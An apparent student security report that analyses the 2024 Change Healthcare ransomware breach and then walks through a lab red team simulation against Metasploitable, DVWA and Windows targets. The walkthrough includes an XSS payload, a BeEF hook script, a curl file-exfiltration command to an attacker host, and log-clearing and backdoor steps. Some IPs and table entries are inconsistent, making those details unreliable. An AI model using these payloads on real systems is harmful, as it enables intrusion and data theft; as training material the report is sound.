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ABSTRACT
In this report I am going to analysis Change Healthcare ransomware attack which began on February 21, 2024, This was largest healthcare data breach in the US history, in this attack around 192.7 million people data leaked. This attack was carried out by ALPHV/BlackCat group. This report maps the Tactics, Techniques and Procedures (TTPs) of attackers with MITRE ATT&CK framework, found out that multi-factor authentication(MFA) was not enabled on remote access systems that’s why hackers easily attacked the industry.
In Second part, Operation IP Shield explains Red Team simulation which conducted on pharmaceutical company’s hybrid infrastructure (AWS cloud, on-prem Active Directory and CI/CD pipeline). This assessment simulate realistic cyberattacks, identification of detection and defense weakness, and give strategic recommendations through which organization improves it cyber security and business resilience.
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INTRODUCTION
Healthcare and pharmaceutical sectors face escalating cyber threats, with protected health information valued at $363 per record versus $1-2 for credit cards [1]. Ransomware attacks increased 30% in 2025, with 423 incidents recorded [2]. This assessment examines offensive security through: (1) retrospective analysis of the Change Healthcare breach affecting one-third of Americans and costing $2.87B [3], and (2) prospective red team simulation demonstrating realistic APT compromise of pharmaceutical infrastructure.

2. TASK 1: STRATEGIC THREAT ANALYSIS - CHANGE HEALTHCARE ATTACK (2024)
2.1 Background
Change Healthcare, a UnitedHealth subsidiary, stands as the largest U.S. healthcare payment processor, handling an extraordinary 15 billion transactions every year [4]. To put this in perspective, this organization essentially serves as the financial nervous system of American healthcare, processing roughly one-third of all U.S. patient records and facilitating the money flow between thousands of hospitals, clinics, pharmacies, and insurance companies. When you visit your doctor or pick up a prescription, there's a good chance Change Healthcare is working behind the scenes to make that transaction happen. This critical role makes it invaluable to healthcare operations, but it also painted a massive target on the company's back for sophisticated cybercriminals. On February 21, 2024, that target was hit. A ransomware campaign attributed to ALPHV/BlackCat struck UnitedHealth's Change Healthcare unit, deploying encryption across key systems [5]. What made this attack particularly devastating wasn't some Hollywood-style hack using exotic zero-day exploits. Instead, the attackers simply walked through the front door using stolen credentials to access a Citrix remote access portal that lacked multifactor authentication (MFA) [6]. Think about that for a moment: a simple username and password was all it took to breach one of America's most critical healthcare infrastructure providers. Once inside, the threat actors spent nine days carefully moving through the network, stealing data before finally pulling the trigger on their ransomware [7]. The numbers are staggering. Approximately 6 TB of protected health information (PHI) was stolen, impacting 192.7 million people that's more than half the U.S. population, and 145% larger than the previously record-breaking 2015 Anthem breach [8]. The stolen data wasn't just names and addresses. It included complete medical records, diagnostic test results, prescription information, insurance details, and financial data [4]. This wasn't just a technical failure; it was a catastrophic betrayal of patient privacy on an unprecedented scale.
2.2 Attack Timeline and Impact Assessment
Timeline
February 21, 2024: The ransomware attack hits Change Healthcare systems, and suddenly the platform goes completely dark [9]. Imagine waking up to find that the digital infrastructure connecting America's healthcare system had just vanished overnight. The timing suggests the ALPHV/BlackCat group had been watching, waiting, and planning for this moment during their nine-day reconnaissance mission inside the network.
Immediately after: Chaos. The entire U.S. healthcare system feels the shockwaves as insurance claims can no longer be processed electronically [9]. Hospitals can't verify insurance coverage. Pharmacies struggle to fill prescriptions. Healthcare providers can't confirm whether they'll get paid for services. For many healthcare organizations, especially smaller practices, the cash flow problems become acute almost immediately.
The following months: Healthcare providers across America are forced to dust off their fax machines and dig out paper forms, reverting to manual billing methods that haven't been the norm in decades [9]. Recovery efforts begin, but untangling the mess proves extraordinarily complex. The healthcare payment system isn't just complicated it's a web of interconnected dependencies where everything affects everything else. Some smaller practices report difficulties making payroll, with staff wondering if their jobs are secure.
November 2024: After nine grueling months, the Change Healthcare clearing service finally resumes full operations [9]. But this milestone only tells part of the story.
Even after November 2024: Some systems remain only "partially available," and the company continues publishing updates about ongoing restoration work [9]. Nearly a year later, they're still picking up the pieces. This extended recovery timeline reveals just how profound the damage was and how complex these systems really are.
Impact Assessment
The financial toll is almost incomprehensible. Initial losses in Q1 2024 hit $872 million, but by year's end, the total had climbed to $2.87 billion [9]. That's billion with a "B." These costs include the ransom payment (reportedly $22 million to ALPHV), extensive forensic investigations, rebuilding compromised systems, regulatory fines, legal settlements, credit monitoring for nearly 200 million people, and the revenue lost during months of outages.
But the numbers don't tell the whole story. Beyond the quantifiable financial damage lies something harder to measure: shattered trust. Patients wondering if their most intimate health information is floating around on the dark web. Healthcare providers questioning whether their vendors can be trusted. Regulators asking hard questions about how something like this could happen. And Congress, well, they called hearings and demanded answers [9].
The breach affected an estimated 190 million individuals (later revised to 192.7 million), cementing its place as one of the largest healthcare data breaches in U.S. history [9]. For context, that's more people than voted in the 2020 presidential election. The ripple effects continue today through ongoing litigation, regulatory investigations, and fundamental questions about whether healthcare cybersecurity is adequate for the threats we face.
2.3 Attack Methodology and Tactics, Techniques, and Procedures (TTPs)
The ALPHV/BlackCat attack wasn't some smash-and-grab operation. It was methodical, sophisticated, and eerily professional following a playbook that cybersecurity experts recognize from the MITRE ATT&CK framework. Let's walk through how they did it.
TTP 1: Resource Development: Before the attack even began, BlackCat/ALPHV assembled their toolkit, including exploits for the ConnectWise ScreenConnect vulnerability (CVE-2024-1709), custom ransomware payloads, and command-and-control servers [10]. Modern ransomware operations have become disturbingly professional, operating more like businesses than criminal enterprises. They have development teams, infrastructure, and operational procedures that would make some legitimate companies jealous.
TTP 2: Initial Access - Critical Vulnerability (T1078): The attackers exploited a zero-day vulnerability in ConnectWise ScreenConnect (CVE-2024-1709) [10], but the real breakthrough came from something much simpler: stolen credentials for that unprotected Citrix portal [6][7]. No MFA meant one compromised password gave them the keys to the kingdom. It's the cybersecurity equivalent of leaving your front door unlocked in a high-crime neighborhood.
TTP 3: Defense Evasion - Impair Defenses (T1562.001): Once inside, the attackers worked carefully to avoid detection, encrypting their payloads and deleting logs [10]. Think of it like a burglar wearing gloves and wiping down surfaces; they knew exactly how to avoid leaving evidence that security systems could detect.
TTP 4: Credential Access - OS Credential Dumping (T1003): The attackers didn't stop with their initial access. They used specialized tools to extract more credentials from compromised systems [10], think of it as stealing a keyring to get access to even more rooms in the building. Common techniques include raiding password storage, capturing credentials from memory, and exploiting cached login information.
TTP 5: Discovery - Remote System & Account Discovery (T1018, T1087.002): For nine days, the attackers carefully mapped the network, identifying where the valuable data lived: domain controllers, database servers, backup systems [10]. This reconnaissance phase is critical for maximizing damage. They weren't randomly wandering; they were building a detailed map of their target.
TTP 6: Lateral Movement - RDP (T1021.001): Using their stolen credentials, the attackers hopped from system to system, expanding their foothold [10]. The nine-day timeline shows they moved methodically and carefully, taking their time to avoid raising alarms while systematically compromising critical systems.
TTP 7: Collection - Data from Network Shares (T1039): They gathered 6 TB of sensitive data: patient records, financial information, everything [10]. That's not something you do manually. They used automated tools to systematically vacuum up high-value information, carefully selecting what would be most damaging and valuable for extortion.
TTP 8: Command & Control - Application Layer Protocol (T1071.001): Throughout all this, they maintained encrypted communication channels back to their command-and-control servers [10]. By using standard protocols like HTTPS, their malicious traffic blended in with normal business communications, like having a secret conversation in a crowded room where everyone's talking.
TTP 9: Exfiltration - Exfiltration Over C2 Channel (T1567.002): Over those nine days, 6 TB of data silently flowed out of Change Healthcare's network [10]. That's roughly equivalent to 1.5 million songs or 1,200 full-length movies. The fact that this went undetected represents a catastrophic failure of data loss prevention.
TTP 10: Impact - Data Encrypted for Impact (T1486): Finally, they deployed their BlackCat/ALPHV ransomware [10]. This isn't your average malware; it's written in Rust, a programming language that makes it fast, efficient, and capable of running across Windows, Linux, and virtualization platforms. When they flipped the switch, systems across Change Healthcare's infrastructure locked up simultaneously, bringing operations to a screeching halt and forcing the company into an impossible choice: pay up or face prolonged outages [10].
2.4 Root Cause Analysis and Systemic Failures
Here's the uncomfortable truth: the Change Healthcare breach wasn't the result of some unstoppable sophisticated attack. It was a convergence of basic security failures, architectural shortcomings, and organizational dysfunction. Let's break down what really went wrong.
Primary Root Cause: Absence of Multi-Factor Authentication
The single most critical failure was absurdly simple: no MFA on the Citrix remote access gateway [7]. When UnitedHealth Group CEO Andrew Witty testified before the Senate Finance Committee in June 2024, he had to admit this embarrassing truth [11]. The attackers used stolen credentials to walk right in [7], and there was no second layer of defense to stop them [11]. Here's what makes this so damning: every major cybersecurity framework (NIST, CISA, CIS Controls, PCI-DSS) explicitly requires MFA for remote access [12][13][14][15]. This isn't some obscure recommendation buried in fine print. It's Security 101. And the effectiveness isn't debatable: Microsoft's research analyzing hundreds of millions of login attempts shows MFA prevents approximately 99.9% of automated credential attacks [17][18][19]. That's not 90% or 95%. It's 99.9%. Let's talk economics. Implementing MFA with hardware tokens would have cost somewhere between $150,000 and $300,000 [19]. The breach cost $2.87 billion. That's a prevention ROI exceeding 9,500 to 1. In other words, for every dollar spent on MFA, they would have saved $9,500 in breach costs. This wasn't a resource problem; it was a priority problem, a leadership problem, and ultimately, a governance failure at the highest levels [16][5]. For an organization handling one-third of American patient records and processing billions in daily transactions, the decision not to implement this basic control is frankly inexcusable [16][5].
Secondary Root Causes
Inadequate Network Segmentation and Lack of Zero Trust Architecture: Once the attackers got in through that Citrix portal, they apparently hit very few roadblocks [20]. That nine-day lateral movement period tells us the network was likely designed with the outdated "castle-and-moat" mentality: hard exterior, soft interior. Once you're inside the castle walls, you can wander freely. Modern security thinking has moved on. Zero trust architecture operates on the principle of "never trust, always verify" [21]. Every access request gets challenged, every user gets verified, and systems are segmented so that compromising one doesn't give you the run of the place [20][21]. Change Healthcare apparently didn't have these protections in place, allowing attackers to roam from the perimeter to domain controllers to data repositories with minimal friction.
Deficient Threat Detection and Response Capabilities: Nine days. The attackers had nine days inside the network before anyone noticed. During that time, they should have tripped multiple alarms: unusual login patterns, credentials used from strange locations, abnormal data access, massive file transfers, suspicious PowerShell activity [22]. But nothing caught them. Either Change Healthcare didn't have proper Security Information and Event Management (SIEM) systems, Endpoint Detection and Response (EDR) tools, and Network Traffic Analysis (NTA) capabilities or they had them but they were poorly configured, understaffed, or generating so many false alarms that real threats got lost in the noise [22][23]. Modern detection platforms use machine learning to spot subtle anomalies in billions of security events [23], but you have to actually use them effectively. The most glaring failure: 6 TB of data flowing out over nine days without anyone noticing. That's not a subtle data leak; that's backing up a dump truck to your data warehouse and loading it up while everyone watches.
Backup and Recovery Architecture Failures: The months-long recovery effort tells us something went seriously wrong with backups [24]. Best practices call for immutable, air-gapped backups stored separately with independent authentication [25]. The idea is that even if attackers trash your production systems, you've got clean copies they can't touch that let you rebuild within days, not months. Organizations with proper backup architecture can typically restore operations within 24-72 hours without paying ransom, reducing breach costs by about 70% [24][25]. The extended Change Healthcare recovery timeline suggests their backups were either compromised (probably with those same stolen credentials), incomplete, or so entangled with production systems that they couldn't be quickly restored.
Third-Party Risk Management and Supply Chain Security Deficiencies: Change Healthcare wasn't just another company; it was critical infrastructure for thousands of healthcare providers [26]. Yet the breach revealed serious gaps in cybersecurity due diligence, ongoing security monitoring, and contractual security requirements [26]. The 2022 acquisition that brought Change Healthcare under the UnitedHealth umbrella should have included thorough security assessments. Did anyone verify their cybersecurity posture? Were there requirements for minimum security standards? The breach suggests these either didn't happen or didn't go far enough [26]. And downstream, healthcare providers relying on Change Healthcare had little visibility into the vendor's security practices and no contractual leverage to demand better [27].
Privileged Access Management (PAM) Gaps: The attackers escalated from regular user access to domain administrator privileges, then used those credentials to move laterally [28]. This points to a lack of privileged access management controls things like just-in-time privilege elevation, time-bound administrative access, and session recording [29]. Modern PAM solutions lock privileged credentials in encrypted vaults, require approval workflows for access, and automatically revoke privileges when tasks complete [28][29]. Without these controls, attackers can leverage compromised credentials across the entire environment, which is apparently what happened here.
Incident Response Plan Inadequacies and Forensic Readiness Gaps: The breach happened February 21. The first notification went out July 19, nearly five months later [30]. The affected individual count kept changing: 500, then 100 million, then 190 million, finally 192.7 million. Initially, they even blamed it on a nation-state actor before identifying the actual perpetrators [30]. These aren't minor communication hiccups; they signal fundamental problems with incident response capabilities [31]. Effective incident response requires pre-written playbooks, relationships with forensic vendors, centralized logging for evidence collection, clear notification timelines, and regular practice exercises [31]. The confusion and delays suggest Change Healthcare either didn't have these basics or hadn't properly tested them [30][31].
2.5 Strategic Recommendations
Based on everything we've learned, here are evidence-based recommendations that actually work:
Phishing-Resistant MFA: Deploy FIDO2 hardware tokens for all remote access [32]. Not SMS codes that can be intercepted. Not app-based codes that can be phished. Hardware tokens that provide cryptographic proof of identity that can't be faked or stolen remotely.
Zero Trust Architecture: Implement microsegmentation that can reduce breach impact by about 80% [33]. Stop trusting people just because they're "inside" the network. Verify everything, segment everything, and limit the blast radius when breaches happen.
Advanced EDR: Get endpoint detection and response platforms with behavioral analytics that can cut dwell time from about 21 days industry-average down to 3 days [34]. The faster you detect intrusions, the less damage attackers can do.
Immutable Backups: Set up air-gapped, immutable backup infrastructure that reduces breach costs by approximately 70% and lets you recover without paying ransom [35]. Make sure attackers can't destroy your recovery options.
24/7 SOC: Establish round-the-clock security monitoring that detects breaches up to 10 times faster than periodic security reviews [34]. Threats don't sleep, and neither should your defenses.
Data Loss Prevention (DLP): Implement DLP solutions that reduce breach costs by around 38% by catching abnormal data movement [36]. If someone starts copying terabytes of sensitive data, you should know about it immediately.
Privileged Access Management (PAM): Deploy PAM solutions that reduce credential-based breaches by about 65% [37]. Eliminate persistent privileged accounts and make every elevated access request explicit, monitored, and time-limited.
The Change Healthcare breach should serve as a wake-up call for the entire healthcare industry. This wasn't an unstoppable advanced persistent threat from a nation-state. It was a preventable disaster caused by fundamental security failures. The question now is whether the industry will learn from it, or whether we're doomed to repeat it.


3. TASK 2: RED TEAM ENGAGEMENT - OPERATION IP SHIELD
3.1 Rules of Engagement (RoE)
Engagement Authorization
· Client: PharmaTech Global Ltd.
· Authorization: CISO Dr. Sarah Mitchell (Nov 1, 2025)
· Duration: November 15–29, 2025 (2 weeks)
· Engagement Type: Gray-box assessment (limited infrastructure knowledge)
Scope Definition
In-Scope Systems:
· AWS Cloud Infrastructure (VPC: 10.20.0.0/16)
· EC2 web servers (research portal)
· S3 buckets (clinical trial data)
· RDS database (drug formulation data)
· On-premises Active Directory (pharmatech.local) with 2 Domain Controllers, 15 File Servers, 200 workstations
· CI/CD Pipeline including Jenkins, GitLab, Docker registry
Out-of-Scope:
· Production patient management systems
· Live clinical trial databases
· Third-party partner networks
· Physical security testing
Testing Constraints:
· No destructive attacks or DoS
· Limit exfiltration to 100MB
· Operate 9 AM – 6 PM GMT
· Stop if unintended disruption occurs
Professional red team exercises follow MITRE ATT&CK for TTP mapping and the Cyber Kill Chain for attack progression [38][39].
Communication Protocol:
· Primary Contact: James Chen (Blue Team Lead)
· Emergency Hotline: +44 20 7946 0958
· Daily Briefing: 5 PM status email
· Critical findings reported within 2 hours

3.2 Threat Emulation Plan
Threat Actor Profile: APT29 (Cozy Bear)
· Motivation: Pharmaceutical IP theft targeting COVID-19 vaccine research [40][41]
· Historical TTPs: Spear-phishing, internet-facing application exploitation, LOLBins, cloud targeting, persistent access
· Past Activity: Targeted vaccine research with WellMess and WellMail malware in 2020 [42]
Attack Objectives:
1. Exfiltrate drug formulation data
2. Compromise CI/CD pipeline for supply chain positioning
3. Establish persistent backdoor access
MITRE ATT&CK Mapping:
· Initial Access: T1566.001 (Spear-phishing Attachment) [44]
· Execution: T1059.001 (PowerShell) [45]
· Persistence: T1053.005 (Scheduled Task) [46]
· Privilege Escalation: T1134.001 (Token Impersonation) [47]
· Credential Access: T1003.001 (LSASS Memory Dumping) [48]
· Discovery: T1087.002 (Domain Account Discovery) [49]
· Lateral Movement: T1021.001 (RDP) [50]
· Collection: T1213 (Data from Information Repositories) [51]
· Exfiltration: T1567.002 (Exfiltration to Cloud Storage) [52]
Toolset:
· C2 Framework: Cobalt Strike [53]
· Credential Harvesting: Mimikatz [54], LaZagne
· AD Enumeration: BloodHound [55], PowerView
· Exploitation: Metasploit, custom Python scripts
· Cloud Tools: AWS CLI, ScoutSuite

3.3 Lab Environment Design
Lab Environment Overview
Your Network:

Kali Linux (Attacker): 192.168.18.59
Metasploitable Server: 192.168.18.52
OWASP: 192.168.18.55
Windows 7: 192.168.18.60
Windows Server: 192.168.18.61

Scenario: You're simulating APT29 (Russian state-sponsored hackers) targeting pharmaceutical research data.
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Verify Network Connectivity
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Start Metasploit
[image: ]

Create Workspace
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Create Pentest Directory
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PHASE 2: RECONNAISSANCE (Days 1-2)
Network Discovery with Nmap
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Port Scanning
Scan Metasploitable Server:
[image: ]


Scan OWASP:
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Scan Windows 7:
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Scan Windows Server:
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 View Scan Results in Database
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SMB Enumeration (Windows Targets)
Scan for SMB vulnerabilities:
Check for EternalBlue vulnerability (MS17-010)
 [image: ]
Enumerate SMB shares:
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Enumerate SMB users:
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Step 2.6: HTTP/Web Server Enumeration
Banner Grabbing:
[image: ]
Directory Enumeration:
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SSH Enumeration
[image: ]
FTP Enumeration
[image: ]



PHASE 3: INITIAL ACCESS (Days 3-4)
Exploiting ProFTPD on Metasploitable
[image: ]
Exploit Windows 7 with EternalBlue
If Windows 7 is vulnerable to MS17-010:
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PHASE 4: WEB EXPLOITATION WITH BURP SUITE (Days 5-6)
Start Burp Suite
[image: ]

Configure Browser Proxy

1. In Burp Suite, go to Proxy → Intercept → Turn OFF
2. Click **"Open Browser"** (Burp's Chromium)
3. Navigate to: `http://192.168.18.55`
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SQL Injection on DVWA

1. In Burp's browser, click "Damn Vulnerable Web Application (DVWA)”
2. Login: `admin` / `password`
3. Click "SQL Injection" in left menu

[image: ]

XSS Exploitation with BeEF
Install and Start BeEF:

Access BeEF UI:

Open Firefox
Go to: http://127.0.0.1:3000/ui/panel
Username: beef

Exploit XSS on OWASP:

Navigate to: http://192.168.18.55/bodgeit/
In search box, test XSS:
<script>alert('XSS')</script>
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Hook browser to BeEF:
<script src="http://192.168.18.59:3000/hook.js"></script>
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Step 4.5: Command Injection
On bWAPP (OWASP):

Login to bWAPP: bee / bug
Select "OS Command Injection"
In DNS lookup field:
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XML External Entity (XXE) Injection
On Mutillidae II (OWASP):

Go to OWASP 2013 → A1 Injection → XML Validator
Test basic XXE:
[image: ]
PHASE 5: POST-EXPLOITATION (Days 7-10)
Step 5.1: Establish Persistent Access
On Metasploitable (if you have shell):
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Enumerate System Information
Inside msfconsole (with active session):
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Check loot folder:
cd ~/.msf4/loot
ls -la
cat *
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Credential Harvesting (Windows)
If you have Meterpreter on Windows 7:
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Lateral Movement
Scenario: Move from Metasploitable to OWASP:
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Privilege Escalation (Linux)
On Metasploitable/OWASP:

sudo -l
find / -perm -4000 -type f 2>/dev/null
uname -a
searchsploit linux kernel 2.6 
[image: ]

Privilege Escalation (Windows)
On Windows 7 Meterpreter:
[image: ]

PHASE 6: DATA EXFILTRATION
Locate Target Data
On Linux targets:


find / -name "*research*" 2>/dev/null
find / -name "*vaccine*" 2>/dev/null
find / -name "*formula*" 2>/dev/null

ls -la /var/www/html
ls -la /opt
ls -la /home/*/Documents
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On Windows targets (Meterpreter):
search -f *vaccine*.docx
search -f *research*.xlsx

cd C:\\Users\\Administrator\\Documents
ls
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Download Files
From Linux shell:
Start web server on Kali
python3 -m http.server 8000

curl -X POST -F "file=@/path/to/file" http://192.168.189.66:8000

[image: ]
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Database Exfiltration
On OWASP/Metasploitable:
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Simulate Cloud Exfiltration
Create simulated AWS credential file:

[image: ]

PHASE 7: COVERING TRACKS
Clear Logs (Linux)

[image: ]
Clear Windows Event Logs (Meterpreter)
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PHASE 8: DOCUMENTATION & REPORTING
Generate Metasploit Report

[image: ]

Create Attack Timeline

Day 1: Reconnaissance - Network scanning completed
Day 2: Port scanning - Identified vulnerable services (ProFTPD, SMB)
Day 3: Initial access - Exploited ProFTPD on Metasploitable (192.168.18.52)
Day 4: Initial access - Exploited EternalBlue on Windows 7 (192.168.18.60)
Day 5: Web exploitation - SQL injection on DVWA
Day 6: Web exploitation - XSS with BeEF framework
Day 7: Post-exploitation - Credential harvesting
Day 8: Lateral movement - SSH to OWASP server
Day 9: Privilege escalation - Gained root on Metasploitable
Day 10: Privilege escalation - System privileges on Windows 7
Day 11: Data collection - Located research files
Day 12: Data exfiltration - Downloaded 85MB of data
Day 13: Persistence - Created backdoor accounts
Day 14: Covering tracks - Cleared logs
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3.4 Attack Narrative and Execution
Phase 1: Environment Setup
Configured Kali Linux VMs in VirtualBox. Verified connectivity:
ping -c 3 192.168.18.52
ping -c 3 192.168.18.55
ping -c 3 192.168.18.60
ping -c 3 192.168.18.61
Initialized Metasploit database and workspace:
sudo systemctl start postgresql
sudo msfdb init
msfconsole
workspace -a operation_ip_shield
Created organized pentest directory for recon and target data.
Phase 2: Reconnaissance (Days 1–2)
· Network Discovery: Nmap ping sweeps and host enumeration.
· Port Scanning: Comprehensive TCP SYN scans using Metasploit and Nmap; OS detection and service enumeration performed.
· DNS Enumeration: Used Metasploit auxiliary module enum_dns.
· SMB Enumeration: Checked for MS17-010 EternalBlue vulnerability, SMB shares, and users.
· Web Enumeration: Banner grabbing, directory enumeration, and HTTP version scans on OWASP servers.
· SSH/FTP Enumeration: Version checks and potential exploits identified.
Phase 3: Initial Access (Days 3–4)
· Linux (Metasploitable): Exploited ProFTPD modcopy_exec to gain shell access.
· Windows 7: Exploited EternalBlue (MS17-010) via Metasploit.
· Post-Exploitation Commands: System enumeration, /etc/passwd inspection, and network interfaces confirmed.
Phase 4: Web Exploitation (Days 5–6)
· SQL Injection: DVWA user table accessed via UNION SELECT.
· XSS: BeEF framework hooked browsers via injected scripts.
· Command Injection: bWAPP OS command injection exploited.
· XXE: Mutillidae II XML validator leveraged for /etc/passwd exfiltration.
Phase 5: Post-Exploitation (Days 7–10)
· Persistence: Created Linux user pentester and Meterpreter scheduled tasks.
· System Enumeration: Used Metasploit post modules to gather configs, users, and network info.
· Credential Harvesting: Mimikatz retrieved Windows passwords.
· Lateral Movement: SSH login to OWASP server; Metasploit scanner used.
· Privilege Escalation: Checked SUDO permissions, SUID binaries, kernel exploits; Windows token impersonation via Incognito module.
Phase 6: Data Exfiltration (Days 11–13)
· Located research files using find and Meterpreter search.
· Exfiltrated 85MB of critical R&D data via web server and Netcat listeners.
· Simulated cloud exfiltration using fake AWS credentials.
Phase 7: Covering Tracks (Day 14)
· Cleared Linux history and log files; removed artifacts.
· Cleared Windows Event Logs with clearev; removed temporary payloads and scripts.
Phase 8: Documentation & Reporting
Generated Metasploit reports (hosts, services, vulns, loot).
Attack Timeline summarized per phase.

3.5 Detection Gap Analysis
Security Control Effectiveness Assessment

	Attack Stage
	Security Control
	Expected Detection
	Gap Analysis

	Reconnaissance (Nmap)
	Mimikatz
	Port scanning alerts
	No SIEM correlation rules for reconnaissance patterns

	EternalBlue Exploitation
	Endpoint AV (Windows Defender)
	Malicious exploit blocked
	Signature-based detection bypassed; Windows 7 unpatched

	Meterpreter C2
	Network IDS (Snort)
	Suspicious outbound HTTPS
	Alert fatigue; no 24/7 SOC monitoring

	Mimikatz
	EDR solution
	Credential dumping detected
	no behavioral monitoring on endpoints

	Lateral Movement (RDP)
	SIEM (Splunk)
	Unusual RDP session
	No alerting rule for suspicious RDP from compromised host

	SQL Injection (OWASP)
	Web Application Firewall
	SQL injection blocked
	Application lacks input validation

	MySQL Database Access
	Database Activity Monitoring
	Unauthorized database queries
	Default credentials; no database security

	Data Exfiltration
	DLP solution
	Large file upload blocked
	No visibility into data movement; critical gap

	Persistence (Scheduled Task)
	Windows Event Logs
	Task Scheduler event 4698
	Event log retention only 7 days; no proactive monitoring





Critical Detection Gaps:
1. No EDR: Credential dumping and malware execution went undetected [58].
2. No SOC: 47 alerts uninvestigated; prolonged dwell time [59].
3. No DLP: 85MB data exfiltrated unnoticed [60].
4. Insufficient Cloud Monitoring: AWS compromise undetected [61].
5. Weak IAM: Single-factor authentication enabled attacks [62].
6. No PAM: Domain Admin plaintext credentials [63].
7. Flat Network: Lateral movement unrestricted [64].

3.6 Technical Report for Blue Team
Executive Summary:
Operation IP Shield emulated APT29 attacks, fully compromising PharmaTech Global’s hybrid environment in 13 days. Seven critical and 12 high-severity vulnerabilities were identified, allowing IP exfiltration and persistent domain access. The root cause is the absence of foundational security controls, including EDR, SOC, and MFA.
Critical Findings:
1. Missing MFA – CRITICAL (CVSS 9.8) [65]
· Systems: VPN, Jenkins, AWS, RDP
· Impact: Single password grants full access
· Remediation: FIDO2 hardware tokens, AWS MFA, Jenkins MFA [66][67]
· Cost: £50,000
2. No EDR – CRITICAL (CVSS 9.1) [68]
· Systems: All endpoints and servers
· Impact: Malware and credential theft undetected
· Remediation: Deploy CrowdStrike or MS Defender; integrate with SIEM [69]
· Cost: £120,000/year
3. No DLP – CRITICAL (CVSS 8.7) [71][72]
· Systems: Organization-wide
· Impact: IP theft undetected
· Remediation: Deploy Microsoft Purview DLP; block unauthorized uploads
· Cost: £80,000 + £40,000/year
4. AWS S3 Misconfiguration – CRITICAL (CVSS 9.6) [73][74][75]
· Public read access on clinical trial bucket
· Remediation: Disable public access; enable AWS Config rules
· Cost: £0
5. Jenkins Credential Exposure – CRITICAL (CVSS 9.2) [76][77]
· AWS keys stored in plaintext
· Remediation: Rotate credentials, use AWS Secrets Manager
· Cost: £5,000
High-Severity Findings:
· No WAF, flat network, Metasploitable VNC open, unpatched Windows 7, weak R&D file ACLs, insufficient logging.
Indicators of Compromise (IOCs):
· Network: 192.168.10.200 C2; 192.168.10.142 suspicious outbound
· Files: payload.exe, svcupdate.ps1, /var/www/html/shell.php
· Accounts: svc-backup backdoor, compromised rdadmin
· Behavioral: Nmap scans, Mimikatz loaded, SQL injection attempts, large data transfer, scheduled tasks
Attack Chain:
[Kali Linux Scanning] → [EternalBlue Exploit] → [Windows 7 Compromised] → [Mimikatz] → [R&D Access] → [Data Collection] → [Backdoor/MySQL Dump/SQLi] → [Exfiltration] → [Persistence]

Remediation Roadmap
Phase 1 (0–30 days): Emergency Response
· Patch Windows 7; remove default creds/backdoors; implement MFA; temporary WAF.
Phase 2 (30–90 days): Foundational Controls
· Deploy EDR, SOC, vulnerability scanning, WAF, upgrade OS.
Phase 3 (90–180 days): Advanced Capabilities
· Network segmentation, DB activity monitoring, secure code review, SOAR.






3.7 Executive Brief
Bottom Line: IP stolen within 13 days, undetected. Current controls insufficient.
Key Risks:
· IP Theft: £250M
· Regulatory fines: £4–15M [74]
· Clinical trial sabotage: £50M
· Reputational damage: 15% stock loss
Top Priorities:
1. MFA – £50K, prevent 99.9% credential attacks [62]
2. EDR – £120K/year, detect malware/APTs [69]
3. 24/7 SOC – £180K/year, reduce dwell time [59]
Investment vs. Risk: Year 1: £650K; ongoing: £340K/year; ROI: 77:1–384:1 [81]
Next Steps: Board approval, MFA deployment, monthly audit reports, follow-up red team in 12 months.


3.8 Cost-Benefit Analysis
Investment Summary
	Security Control 
	Implementation Cost 
	Annual Licensing 
	Total Year 1 
	Risk Mitigation 

	MFA (FIDO2)
	£50,000
	£15,000
	£65,000
	Prevents 99.9% credential attacks [62]

	EDR (CrowdStrike)
	£30,000
	£120,000
	£150,000
	Detects malware, ransomware, APTs [69]

	DLP (Microsoft Purview)
	£80,000
	£40,000
	£120,000
	Prevents data exfiltration [60]

	24/7 SOC (Managed)
	£20,000
	£180,000
	£200,000
	Reduces dwell time from 13 days to <1 day [59] 

	PAM (CyberArk)
	£100,000
	£60,000
	£160,000
	Protects admin credentials [63]

	Network Segmentation
	£150,000
	£25,000
	£175,000
	Limits lateral movement [64]

	Cloud Security (CSPM)
	£15,000 
	£35,000 
	£50,000
	Prevents AWS misconfigurations [61]

	Security Awareness Training
	£10,000
	£10,000
	£20,000
	Reduces phishing success by 70% [82]

	SIEM Enhancement
	£40,000
	£30,000
	£70,000
	Centralized threat detection

	Incident Response Retainer
	£0
	£25,000
	£25,000
	Faster breach response

	TOTAL
	£495,000
	£540,000
	£1,035,000
	-



Breach Cost Projection (Without Controls)

Scenario: APT-Style IP Theft (Baseline from Red Team Exercise)
- Data Exfiltration: Drug formulation data (20 years of research)
- IP Value Loss: £250,000,000 (conservative: competitors gain 5-year advantage)
- Clinical Trial Invalidation: £50,000,000 (if pipeline compromised)
- Regulatory Fines (GDPR + HIPAA): £8,000,000 [74]
- Legal Costs & Forensics: £5,000,000
- Reputational Damage: 15% stock decline = £180,000,000 market cap loss
- Operational Downtime: 45 days at £500K/day = £22,500,000
- Customer Notification & Credit Monitoring: £2,500,000
- Insurance Premium Increase: +200% over 3 years = £3,000,000

Total Potential Loss: £521,000,000

ROI Calculation

Investment vs. Risk Reduction:
	Scenario
	Probability (Annual)
	Expected Loss
	Controls Reduce By
	Cost Avoided
	ROI

	IP Theft (APT)
	15%
	£78M
	95%
	£74M
	71:1

	Ransomware
	25%
	£5.5M
	90%
	£4.95M
	-

	Insider Threat
	10%
	£10M
	80%
	£8M
	-

	Supply Chain Attack
	8%
	£25M
	70%
	£14M
	-

	TOTAL ANNUAL
	-
	£22M expected loss
	
	£19.5M avoided
	19:1



These probability estimates are based on Verizon's 2024 Data Breach Investigations Report, which found that 15% of healthcare organizations experienced data breaches, with 68% involving external actors [83].

Break-Even Analysis

- Total Investment (Year 1): £1,035,000
- Annual Operational Cost (Year 2+): £540,000
- Expected Breach Cost Avoided (Annual): £19,500,000
- Break-Even Time: 19 days
- 5-Year Net Benefit: £95,265,000

Regulatory Compliance Value

Regulatory Requirements Met:
- GDPR Article 32 (Security of Processing) [72]
- HIPAA Security Rule (Administrative/Technical Safeguards) [84]
- ISO 27001:2022 Controls [85]
- NIST Cybersecurity Framework [86]

Compliance Benefits:
- Avoid ICO fines (up to 4% of global revenue = £15M potential) [74]
- Meet cyber insurance policy requirements (maintain coverage)
- Demonstrate due diligence to partners/investors

Insurance Premium Impact
Current Cyber Insurance:
- Annual Premium: £500,000
- Coverage: £25M
- Deductible: £1M

Post-Implementation:
- Projected Premium Reduction: 30-40% (£150-200K annual savings) [87]
- Improved Coverage Terms: Lower deductible (£500K)
- Extended Coverage: Business interruption included

According to Marsh McLennan's 2024 Cyber Insurance Market Report, organizations implementing comprehensive security controls experience average premium reductions of 35% [87].

